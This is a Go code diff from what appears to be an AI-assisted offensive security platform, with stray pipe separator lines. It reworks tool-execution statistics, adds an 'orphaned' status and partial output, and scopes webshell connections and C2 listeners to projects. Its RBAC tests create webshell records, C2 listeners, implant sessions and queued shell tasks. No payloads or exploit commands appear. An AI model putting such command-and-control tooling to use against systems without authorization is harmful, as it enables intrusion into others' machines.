|
SELECT COUNT(*),
|
||||||
COALESCE(SUM(total_calls), 0),
|
COALESCE(SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END), 0),
|
||||||
COALESCE(SUM(success_calls), 0),
|
COALESCE(SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END), 0),
|
||||||
COALESCE(SUM(failed_calls), 0),
|
MAX(start_time),
|
||||||
MAX(last_call_time)
|
COUNT(DISTINCT tool_name)
|
||||||
FROM tool_stats
|
FROM tool_executions
|
||||||
`
|
`
|
||||||
var lastCallRaw sql.NullString
|
var lastCallRaw sql.NullString
|
||||||
err := db.QueryRow(summaryQuery).Scan(
|
err := db.QueryRow(summaryQuery).Scan(
|
||||||
&result.Summary.ToolCount,
|
|
||||||
&result.Summary.TotalCalls,
|
&result.Summary.TotalCalls,
|
||||||
&result.Summary.SuccessCalls,
|
&result.Summary.SuccessCalls,
|
||||||
&result.Summary.FailedCalls,
|
&result.Summary.FailedCalls,
|
||||||
&lastCallRaw,
|
&lastCallRaw,
|
||||||
|
&result.Summary.ToolCount,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -310,9 +330,13 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
topQuery := `
|
topQuery := `
|
||||||
SELECT tool_name, total_calls, success_calls, failed_calls, last_call_time
|
SELECT tool_name,
|
||||||
FROM tool_stats
|
COUNT(*) AS total_calls,
|
||||||
WHERE total_calls > 0
|
SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END) AS success_calls,
|
||||||
|
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END) AS failed_calls,
|
||||||
|
MAX(start_time) AS last_call_time
|
||||||
|
FROM tool_executions
|
||||||
|
GROUP BY tool_name
|
||||||
ORDER BY total_calls DESC, tool_name ASC
|
ORDER BY total_calls DESC, tool_name ASC
|
||||||
LIMIT ?
|
LIMIT ?
|
||||||
`
|
`
|
||||||
@@ -324,7 +348,7 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
|
|||||||
|
|
||||||
for rows.Next() {
|
for rows.Next() {
|
||||||
var stat mcp.ToolStats
|
var stat mcp.ToolStats
|
||||||
var lastCallTime sql.NullTime
|
var lastCallTime sql.NullString
|
||||||
if err := rows.Scan(
|
if err := rows.Scan(
|
||||||
&stat.ToolName,
|
&stat.ToolName,
|
||||||
&stat.TotalCalls,
|
&stat.TotalCalls,
|
||||||
@@ -336,7 +360,8 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
|
|||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
if lastCallTime.Valid {
|
if lastCallTime.Valid {
|
||||||
stat.LastCallTime = &lastCallTime.Time
|
parsed := parseDBTime(lastCallTime.String)
|
||||||
|
stat.LastCallTime = &parsed
|
||||||
}
|
}
|
||||||
result.TopTools = append(result.TopTools, &stat)
|
result.TopTools = append(result.TopTools, &stat)
|
||||||
}
|
}
|
||||||
@@ -359,7 +384,7 @@ func (db *DB) LoadToolStatsSummaryForAccess(topN int, access RBACListAccess) (*T
|
|||||||
var lastCall sql.NullString
|
var lastCall sql.NullString
|
||||||
err := db.QueryRow(`SELECT COUNT(*),
|
err := db.QueryRow(`SELECT COUNT(*),
|
||||||
COALESCE(SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END), 0),
|
COALESCE(SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END), 0),
|
||||||
COALESCE(SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END), 0),
|
COALESCE(SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END), 0),
|
||||||
MAX(start_time), COUNT(DISTINCT tool_name)`+fromSQL, args...).Scan(
|
MAX(start_time), COUNT(DISTINCT tool_name)`+fromSQL, args...).Scan(
|
||||||
&result.Summary.TotalCalls, &result.Summary.SuccessCalls, &result.Summary.FailedCalls,
|
&result.Summary.TotalCalls, &result.Summary.SuccessCalls, &result.Summary.FailedCalls,
|
||||||
&lastCall, &result.Summary.ToolCount,
|
&lastCall, &result.Summary.ToolCount,
|
||||||
@@ -373,7 +398,7 @@ func (db *DB) LoadToolStatsSummaryForAccess(topN int, access RBACListAccess) (*T
|
|||||||
}
|
}
|
||||||
rows, err := db.Query(`SELECT tool_name, COUNT(*),
|
rows, err := db.Query(`SELECT tool_name, COUNT(*),
|
||||||
SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END),
|
SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END),
|
||||||
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END), MAX(start_time)`+
|
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END), MAX(start_time)`+
|
||||||
fromSQL+` GROUP BY tool_name ORDER BY COUNT(*) DESC, tool_name ASC LIMIT ?`, append(args, topN)...)
|
fromSQL+` GROUP BY tool_name ORDER BY COUNT(*) DESC, tool_name ASC LIMIT ?`, append(args, topN)...)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -482,7 +507,9 @@ func appendToolExecutionAccessSQL(query string, args []interface{}, access RBACL
|
|||||||
// GetToolExecution 根据ID获取单条工具执行记录
|
// GetToolExecution 根据ID获取单条工具执行记录
|
||||||
func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
|
func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
|
||||||
query := `
|
query := `
|
||||||
SELECT id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms, COALESCE(owner_user_id, ''), COALESCE(conversation_id, '')
|
SELECT id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms,
|
||||||
|
COALESCE(partial_output, ''), COALESCE(partial_output_bytes, 0), COALESCE(partial_output_truncated, 0), partial_output_updated_at,
|
||||||
|
COALESCE(owner_user_id, ''), COALESCE(conversation_id, '')
|
||||||
FROM tool_executions
|
FROM tool_executions
|
||||||
WHERE id = ?
|
WHERE id = ?
|
||||||
`
|
`
|
||||||
@@ -495,6 +522,8 @@ func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
|
|||||||
var errorText sql.NullString
|
var errorText sql.NullString
|
||||||
var endTime sql.NullTime
|
var endTime sql.NullTime
|
||||||
var durationMs sql.NullInt64
|
var durationMs sql.NullInt64
|
||||||
|
var partialTruncated int
|
||||||
|
var partialUpdatedAt sql.NullTime
|
||||||
|
|
||||||
err := row.Scan(
|
err := row.Scan(
|
||||||
&exec.ID,
|
&exec.ID,
|
||||||
@@ -506,6 +535,10 @@ func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
|
|||||||
&exec.StartTime,
|
&exec.StartTime,
|
||||||
&endTime,
|
&endTime,
|
||||||
&durationMs,
|
&durationMs,
|
||||||
|
&exec.PartialOutput,
|
||||||
|
&exec.PartialOutputBytes,
|
||||||
|
&partialTruncated,
|
||||||
|
&partialUpdatedAt,
|
||||||
&exec.OwnerUserID,
|
&exec.OwnerUserID,
|
||||||
&exec.ConversationID,
|
&exec.ConversationID,
|
||||||
)
|
)
|
||||||
@@ -538,6 +571,10 @@ func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
|
|||||||
if durationMs.Valid {
|
if durationMs.Valid {
|
||||||
exec.Duration = time.Duration(durationMs.Int64) * time.Millisecond
|
exec.Duration = time.Duration(durationMs.Int64) * time.Millisecond
|
||||||
}
|
}
|
||||||
|
exec.PartialOutputTruncated = partialTruncated != 0
|
||||||
|
if partialUpdatedAt.Valid {
|
||||||
|
exec.PartialOutputUpdatedAt = &partialUpdatedAt.Time
|
||||||
|
}
|
||||||
|
|
||||||
return &exec, nil
|
return &exec, nil
|
||||||
}
|
}
|
||||||
@@ -565,7 +602,7 @@ func (db *DB) UserCanAccessToolExecution(userID, scope, executionID string) bool
|
|||||||
return conversation != "" && db.UserCanAccessResource(userID, scope, "conversation", conversation)
|
return conversation != "" && db.UserCanAccessResource(userID, scope, "conversation", conversation)
|
||||||
}
|
}
|
||||||
|
|
||||||
// CancelOrphanedRunningToolExecutions 将仍为 running 的记录批量标记为 cancelled(如进程重启后无对应执行协程)。
|
// CancelOrphanedRunningToolExecutions 将仍为 running 的记录批量标记为 orphaned(如进程重启后无对应执行协程)。
|
||||||
func (db *DB) CancelOrphanedRunningToolExecutions(endTime time.Time, errMsg string) (int64, error) {
|
func (db *DB) CancelOrphanedRunningToolExecutions(endTime time.Time, errMsg string) (int64, error) {
|
||||||
errMsg = strings.TrimSpace(errMsg)
|
errMsg = strings.TrimSpace(errMsg)
|
||||||
if errMsg == "" {
|
if errMsg == "" {
|
||||||
@@ -573,7 +610,7 @@ func (db *DB) CancelOrphanedRunningToolExecutions(endTime time.Time, errMsg stri
|
|||||||
}
|
}
|
||||||
query := `
|
query := `
|
||||||
UPDATE tool_executions
|
UPDATE tool_executions
|
||||||
SET status = 'cancelled',
|
SET status = 'orphaned',
|
||||||
error = ?,
|
error = ?,
|
||||||
end_time = ?,
|
end_time = ?,
|
||||||
duration_ms = MAX(0, CAST((julianday(?) - julianday(start_time)) * 86400000 AS INTEGER))
|
duration_ms = MAX(0, CAST((julianday(?) - julianday(start_time)) * 86400000 AS INTEGER))
|
||||||
@@ -586,7 +623,7 @@ func (db *DB) CancelOrphanedRunningToolExecutions(endTime time.Time, errMsg stri
|
|||||||
return res.RowsAffected()
|
return res.RowsAffected()
|
||||||
}
|
}
|
||||||
|
|
||||||
// FinalizeStaleRunningToolExecutions 将「非活跃且超过 minAge」的 running 记录标记为 cancelled。
|
// FinalizeStaleRunningToolExecutions 将「非活跃且超过 minAge」的 running 记录标记为 orphaned。
|
||||||
// activeIDs 为当前进程内仍登记 cancel 的 executionId;不在集合内且已超时的视为孤儿记录。
|
// activeIDs 为当前进程内仍登记 cancel 的 executionId;不在集合内且已超时的视为孤儿记录。
|
||||||
func (db *DB) FinalizeStaleRunningToolExecutions(endTime time.Time, minAge time.Duration, activeIDs map[string]struct{}, errMsg string) (int64, error) {
|
func (db *DB) FinalizeStaleRunningToolExecutions(endTime time.Time, minAge time.Duration, activeIDs map[string]struct{}, errMsg string) (int64, error) {
|
||||||
errMsg = strings.TrimSpace(errMsg)
|
errMsg = strings.TrimSpace(errMsg)
|
||||||
@@ -639,7 +676,7 @@ func (db *DB) FinalizeStaleRunningToolExecutions(endTime time.Time, minAge time.
|
|||||||
}
|
}
|
||||||
res, err := db.Exec(`
|
res, err := db.Exec(`
|
||||||
UPDATE tool_executions
|
UPDATE tool_executions
|
||||||
SET status = 'cancelled', error = ?, end_time = ?, duration_ms = ?
|
SET status = 'orphaned', error = ?, end_time = ?, duration_ms = ?
|
||||||
WHERE id = ? AND status = 'running'
|
WHERE id = ? AND status = 'running'
|
||||||
`, errMsg, endTime, durationMs, row.id)
|
`, errMsg, endTime, durationMs, row.id)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -815,7 +852,7 @@ func (db *DB) PurgeToolExecutionsBefore(cutoff time.Time) (int64, error) {
|
|||||||
}
|
}
|
||||||
delta.totalCalls += count
|
delta.totalCalls += count
|
||||||
switch status {
|
switch status {
|
||||||
case "failed", "cancelled":
|
case "failed", "hard_timeout", "orphaned":
|
||||||
delta.failedCalls += count
|
delta.failedCalls += count
|
||||||
case "completed":
|
case "completed":
|
||||||
delta.successCalls += count
|
delta.successCalls += count
|
||||||
@@ -971,7 +1008,7 @@ func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTime
|
|||||||
query = `
|
query = `
|
||||||
SELECT date(start_time, 'localtime') AS bucket,
|
SELECT date(start_time, 'localtime') AS bucket,
|
||||||
COUNT(*) AS total,
|
COUNT(*) AS total,
|
||||||
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END) AS failed
|
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END) AS failed
|
||||||
FROM tool_executions
|
FROM tool_executions
|
||||||
WHERE start_time >= ?
|
WHERE start_time >= ?
|
||||||
GROUP BY bucket
|
GROUP BY bucket
|
||||||
@@ -981,7 +1018,7 @@ func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTime
|
|||||||
query = `
|
query = `
|
||||||
SELECT strftime('%Y-%m-%d %H:00:00', start_time, 'localtime') AS bucket,
|
SELECT strftime('%Y-%m-%d %H:00:00', start_time, 'localtime') AS bucket,
|
||||||
COUNT(*) AS total,
|
COUNT(*) AS total,
|
||||||
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END) AS failed
|
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END) AS failed
|
||||||
FROM tool_executions
|
FROM tool_executions
|
||||||
WHERE start_time >= ?
|
WHERE start_time >= ?
|
||||||
GROUP BY bucket
|
GROUP BY bucket
|
||||||
|
|||||||
@@ -43,8 +43,8 @@ func TestCancelOrphanedRunningToolExecutions(t *testing.T) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("GetToolExecution: %v", err)
|
t.Fatalf("GetToolExecution: %v", err)
|
||||||
}
|
}
|
||||||
if got.Status != "cancelled" {
|
if got.Status != "orphaned" {
|
||||||
t.Fatalf("expected cancelled, got %s", got.Status)
|
t.Fatalf("expected orphaned, got %s", got.Status)
|
||||||
}
|
}
|
||||||
if got.EndTime == nil {
|
if got.EndTime == nil {
|
||||||
t.Fatal("expected end_time to be set")
|
t.Fatal("expected end_time to be set")
|
||||||
@@ -88,8 +88,8 @@ func TestFinalizeStaleRunningToolExecutions_skipsActive(t *testing.T) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("GetToolExecution stale: %v", err)
|
t.Fatalf("GetToolExecution stale: %v", err)
|
||||||
}
|
}
|
||||||
if stale.Status != "cancelled" {
|
if stale.Status != "orphaned" {
|
||||||
t.Fatalf("stale expected cancelled, got %s", stale.Status)
|
t.Fatalf("stale expected orphaned, got %s", stale.Status)
|
||||||
}
|
}
|
||||||
|
|
||||||
activeExec, err := db.GetToolExecution("active")
|
activeExec, err := db.GetToolExecution("active")
|
||||||
|
|||||||
@@ -84,3 +84,49 @@ func TestLoadToolStatsSummaryAndListPage(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestLoadToolStatsSummaryDoesNotCountCancelledAsFailed(t *testing.T) {
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "monitor-cancelled-summary.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
for i, status := range []string{"completed", "cancelled", "failed"} {
|
||||||
|
exec := &mcp.ToolExecution{
|
||||||
|
ID: fmt.Sprintf("exec-%d", i),
|
||||||
|
ToolName: "exec",
|
||||||
|
Arguments: map[string]interface{}{},
|
||||||
|
Status: status,
|
||||||
|
StartTime: now.Add(time.Duration(i) * time.Second),
|
||||||
|
}
|
||||||
|
end := exec.StartTime.Add(time.Second)
|
||||||
|
exec.EndTime = &end
|
||||||
|
exec.Duration = time.Second
|
||||||
|
if err := db.SaveToolExecution(exec); err != nil {
|
||||||
|
t.Fatalf("SaveToolExecution(%s): %v", status, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
summary, err := db.LoadToolStatsSummary(1)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("LoadToolStatsSummary: %v", err)
|
||||||
|
}
|
||||||
|
if summary.Summary.TotalCalls != 3 {
|
||||||
|
t.Fatalf("totalCalls = %d, want 3", summary.Summary.TotalCalls)
|
||||||
|
}
|
||||||
|
if summary.Summary.SuccessCalls != 1 {
|
||||||
|
t.Fatalf("successCalls = %d, want 1", summary.Summary.SuccessCalls)
|
||||||
|
}
|
||||||
|
if summary.Summary.FailedCalls != 1 {
|
||||||
|
t.Fatalf("failedCalls = %d, want 1", summary.Summary.FailedCalls)
|
||||||
|
}
|
||||||
|
if len(summary.TopTools) != 1 {
|
||||||
|
t.Fatalf("top tools = %d, want 1", len(summary.TopTools))
|
||||||
|
}
|
||||||
|
if summary.TopTools[0].FailedCalls != 1 {
|
||||||
|
t.Fatalf("top tool failedCalls = %d, want 1", summary.TopTools[0].FailedCalls)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -263,7 +263,7 @@ func (db *DB) UpdateProject(p *Project) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// DeleteProject 删除项目(级联删除事实;对话 project_id 置空由 FK 处理;漏洞 project_id 置空)。
|
// DeleteProject 删除项目(级联删除事实;对话 project_id 置空由 FK 处理;其他资源 project_id 置空)。
|
||||||
func (db *DB) DeleteProject(id string) error {
|
func (db *DB) DeleteProject(id string) error {
|
||||||
if _, err := db.Exec(`UPDATE vulnerabilities SET project_id = NULL WHERE project_id = ?`, id); err != nil {
|
if _, err := db.Exec(`UPDATE vulnerabilities SET project_id = NULL WHERE project_id = ?`, id); err != nil {
|
||||||
return fmt.Errorf("解除漏洞项目关联失败: %w", err)
|
return fmt.Errorf("解除漏洞项目关联失败: %w", err)
|
||||||
@@ -271,6 +271,12 @@ func (db *DB) DeleteProject(id string) error {
|
|||||||
if _, err := db.Exec(`UPDATE assets SET project_id = NULL WHERE project_id = ?`, id); err != nil {
|
if _, err := db.Exec(`UPDATE assets SET project_id = NULL WHERE project_id = ?`, id); err != nil {
|
||||||
return fmt.Errorf("解除资产项目关联失败: %w", err)
|
return fmt.Errorf("解除资产项目关联失败: %w", err)
|
||||||
}
|
}
|
||||||
|
if _, err := db.Exec(`UPDATE webshell_connections SET project_id = NULL WHERE project_id = ?`, id); err != nil {
|
||||||
|
return fmt.Errorf("解除 WebShell 项目关联失败: %w", err)
|
||||||
|
}
|
||||||
|
if _, err := db.Exec(`UPDATE c2_listeners SET project_id = NULL WHERE project_id = ?`, id); err != nil {
|
||||||
|
return fmt.Errorf("解除 C2 监听器项目关联失败: %w", err)
|
||||||
|
}
|
||||||
_, err := db.Exec(`DELETE FROM projects WHERE id = ?`, id)
|
_, err := db.Exec(`DELETE FROM projects WHERE id = ?`, id)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("删除项目失败: %w", err)
|
return fmt.Errorf("删除项目失败: %w", err)
|
||||||
|
|||||||
@@ -84,7 +84,7 @@ func (db *DB) ListConversationsByProjectID(projectID string, limit, offset int)
|
|||||||
limit = 100
|
limit = 100
|
||||||
}
|
}
|
||||||
rows, err := db.Query(
|
rows, err := db.Query(
|
||||||
`SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id
|
`SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id, role_name
|
||||||
FROM conversations WHERE project_id = ? ORDER BY updated_at DESC LIMIT ? OFFSET ?`,
|
FROM conversations WHERE project_id = ? ORDER BY updated_at DESC LIMIT ? OFFSET ?`,
|
||||||
projectID, limit, offset,
|
projectID, limit, offset,
|
||||||
)
|
)
|
||||||
@@ -99,12 +99,16 @@ func (db *DB) ListConversationsByProjectID(projectID string, limit, offset int)
|
|||||||
var createdAt, updatedAt string
|
var createdAt, updatedAt string
|
||||||
var pinned int
|
var pinned int
|
||||||
var pid sql.NullString
|
var pid sql.NullString
|
||||||
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &pid); err != nil {
|
var roleName sql.NullString
|
||||||
|
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &pid, &roleName); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
if pid.Valid {
|
if pid.Valid {
|
||||||
conv.ProjectID = strings.TrimSpace(pid.String)
|
conv.ProjectID = strings.TrimSpace(pid.String)
|
||||||
}
|
}
|
||||||
|
if roleName.Valid {
|
||||||
|
conv.RoleName = normalizeConversationRoleName(roleName.String)
|
||||||
|
}
|
||||||
conv.CreatedAt = parseDBTime(createdAt)
|
conv.CreatedAt = parseDBTime(createdAt)
|
||||||
conv.UpdatedAt = parseDBTime(updatedAt)
|
conv.UpdatedAt = parseDBTime(updatedAt)
|
||||||
conv.Pinned = pinned != 0
|
conv.Pinned = pinned != 0
|
||||||
|
|||||||
@@ -373,22 +373,46 @@ func TestRBACBatchResourceAssignmentValidationAndAtomicity(t *testing.T) {
|
|||||||
|
|
||||||
func TestRBACWebshellAndBatchListAccess(t *testing.T) {
|
func TestRBACWebshellAndBatchListAccess(t *testing.T) {
|
||||||
db := newRBACTestDB(t)
|
db := newRBACTestDB(t)
|
||||||
ws1 := WebShellConnection{ID: "ws_visible", URL: "http://a", Type: "php", Method: "post", CreatedAt: time.Now()}
|
ws1 := WebShellConnection{ID: "ws_visible", ProjectID: "p1", URL: "http://a", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||||
ws2 := WebShellConnection{ID: "ws_hidden", URL: "http://b", Type: "php", Method: "post", CreatedAt: time.Now()}
|
ws2 := WebShellConnection{ID: "ws_hidden", ProjectID: "p2", URL: "http://b", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||||
|
ws3 := WebShellConnection{ID: "ws_other_project", ProjectID: "p2", URL: "http://c", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||||
|
ws4 := WebShellConnection{ID: "ws_unbound", URL: "http://d", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||||
if err := db.CreateWebshellConnection(&ws1); err != nil {
|
if err := db.CreateWebshellConnection(&ws1); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if err := db.CreateWebshellConnection(&ws2); err != nil {
|
if err := db.CreateWebshellConnection(&ws2); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
if err := db.CreateWebshellConnection(&ws3); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateWebshellConnection(&ws4); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
_ = db.SetResourceOwner("webshell", ws1.ID, "u1")
|
_ = db.SetResourceOwner("webshell", ws1.ID, "u1")
|
||||||
_ = db.SetResourceOwner("webshell", ws2.ID, "u2")
|
_ = db.SetResourceOwner("webshell", ws2.ID, "u2")
|
||||||
webshells, err := db.ListWebshellConnectionsForAccess("u1", RBACScopeOwn)
|
_ = db.SetResourceOwner("webshell", ws3.ID, "u1")
|
||||||
|
_ = db.SetResourceOwner("webshell", ws4.ID, "u1")
|
||||||
|
webshells, err := db.ListWebshellConnectionsForAccess("u1", RBACScopeOwn, "")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(webshells) != 3 {
|
||||||
|
t.Fatalf("webshells = %#v, want 3 owned webshells including unbound", webshells)
|
||||||
|
}
|
||||||
|
webshells, err = db.ListWebshellConnectionsForAccess("u1", RBACScopeOwn, "p1")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if len(webshells) != 1 || webshells[0].ID != ws1.ID {
|
if len(webshells) != 1 || webshells[0].ID != ws1.ID {
|
||||||
t.Fatalf("webshells = %#v, want only %s", webshells, ws1.ID)
|
t.Fatalf("webshells scoped to p1 = %#v, want only %s", webshells, ws1.ID)
|
||||||
|
}
|
||||||
|
webshells, err = db.ListWebshellConnectionsForAccess("u1", RBACScopeOwn, ProjectFilterUnbound)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(webshells) != 1 || webshells[0].ID != ws4.ID {
|
||||||
|
t.Fatalf("unbound webshells = %#v, want only %s", webshells, ws4.ID)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := db.CreateBatchQueue("q_visible", "visible", "", "eino_single", "manual", "", nil, "", 1, []map[string]interface{}{{"id": "t1", "message": "a"}}); err != nil {
|
if err := db.CreateBatchQueue("q_visible", "visible", "", "eino_single", "manual", "", nil, "", 1, []map[string]interface{}{{"id": "t1", "message": "a"}}); err != nil {
|
||||||
@@ -411,61 +435,143 @@ func TestRBACWebshellAndBatchListAccess(t *testing.T) {
|
|||||||
func TestRBACC2AccessInheritsListener(t *testing.T) {
|
func TestRBACC2AccessInheritsListener(t *testing.T) {
|
||||||
db := newRBACTestDB(t)
|
db := newRBACTestDB(t)
|
||||||
now := time.Now()
|
now := time.Now()
|
||||||
l1 := &C2Listener{ID: "l_visible", Name: "visible", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9001, OwnerUserID: "u1", CreatedAt: now}
|
l1 := &C2Listener{ID: "l_visible", ProjectID: "p1", Name: "visible", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9001, OwnerUserID: "u1", CreatedAt: now}
|
||||||
l2 := &C2Listener{ID: "l_hidden", Name: "hidden", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9002, OwnerUserID: "u2", CreatedAt: now}
|
l2 := &C2Listener{ID: "l_hidden", ProjectID: "p2", Name: "hidden", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9002, OwnerUserID: "u2", CreatedAt: now}
|
||||||
|
l3 := &C2Listener{ID: "l_other_project", ProjectID: "p2", Name: "other project", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9003, OwnerUserID: "u1", CreatedAt: now}
|
||||||
|
l4 := &C2Listener{ID: "l_unbound", Name: "unbound", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9004, OwnerUserID: "u1", CreatedAt: now}
|
||||||
if err := db.CreateC2Listener(l1); err != nil {
|
if err := db.CreateC2Listener(l1); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if err := db.CreateC2Listener(l2); err != nil {
|
if err := db.CreateC2Listener(l2); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
if err := db.CreateC2Listener(l3); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateC2Listener(l4); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
if err := db.UpsertC2Session(&C2Session{ID: "s_visible", ListenerID: l1.ID, ImplantUUID: "implant-visible", Status: "active", FirstSeenAt: now, LastCheckIn: now}); err != nil {
|
if err := db.UpsertC2Session(&C2Session{ID: "s_visible", ListenerID: l1.ID, ImplantUUID: "implant-visible", Status: "active", FirstSeenAt: now, LastCheckIn: now}); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if err := db.UpsertC2Session(&C2Session{ID: "s_hidden", ListenerID: l2.ID, ImplantUUID: "implant-hidden", Status: "active", FirstSeenAt: now, LastCheckIn: now}); err != nil {
|
if err := db.UpsertC2Session(&C2Session{ID: "s_hidden", ListenerID: l2.ID, ImplantUUID: "implant-hidden", Status: "active", FirstSeenAt: now, LastCheckIn: now}); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
if err := db.UpsertC2Session(&C2Session{ID: "s_other_project", ListenerID: l3.ID, ImplantUUID: "implant-other-project", Status: "active", FirstSeenAt: now, LastCheckIn: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.UpsertC2Session(&C2Session{ID: "s_unbound", ListenerID: l4.ID, ImplantUUID: "implant-unbound", Status: "active", FirstSeenAt: now, LastCheckIn: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
if err := db.CreateC2Task(&C2Task{ID: "t_visible", SessionID: "s_visible", TaskType: "shell", Status: "queued", CreatedAt: now}); err != nil {
|
if err := db.CreateC2Task(&C2Task{ID: "t_visible", SessionID: "s_visible", TaskType: "shell", Status: "queued", CreatedAt: now}); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if err := db.CreateC2Task(&C2Task{ID: "t_hidden", SessionID: "s_hidden", TaskType: "shell", Status: "queued", CreatedAt: now}); err != nil {
|
if err := db.CreateC2Task(&C2Task{ID: "t_hidden", SessionID: "s_hidden", TaskType: "shell", Status: "queued", CreatedAt: now}); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
if err := db.CreateC2Task(&C2Task{ID: "t_other_project", SessionID: "s_other_project", TaskType: "shell", Status: "queued", CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateC2Task(&C2Task{ID: "t_unbound", SessionID: "s_unbound", TaskType: "shell", Status: "queued", CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
if err := db.AppendC2Event(&C2Event{ID: "e_visible", Level: "info", Category: "task", SessionID: "s_visible", TaskID: "t_visible", Message: "visible", CreatedAt: now}); err != nil {
|
if err := db.AppendC2Event(&C2Event{ID: "e_visible", Level: "info", Category: "task", SessionID: "s_visible", TaskID: "t_visible", Message: "visible", CreatedAt: now}); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
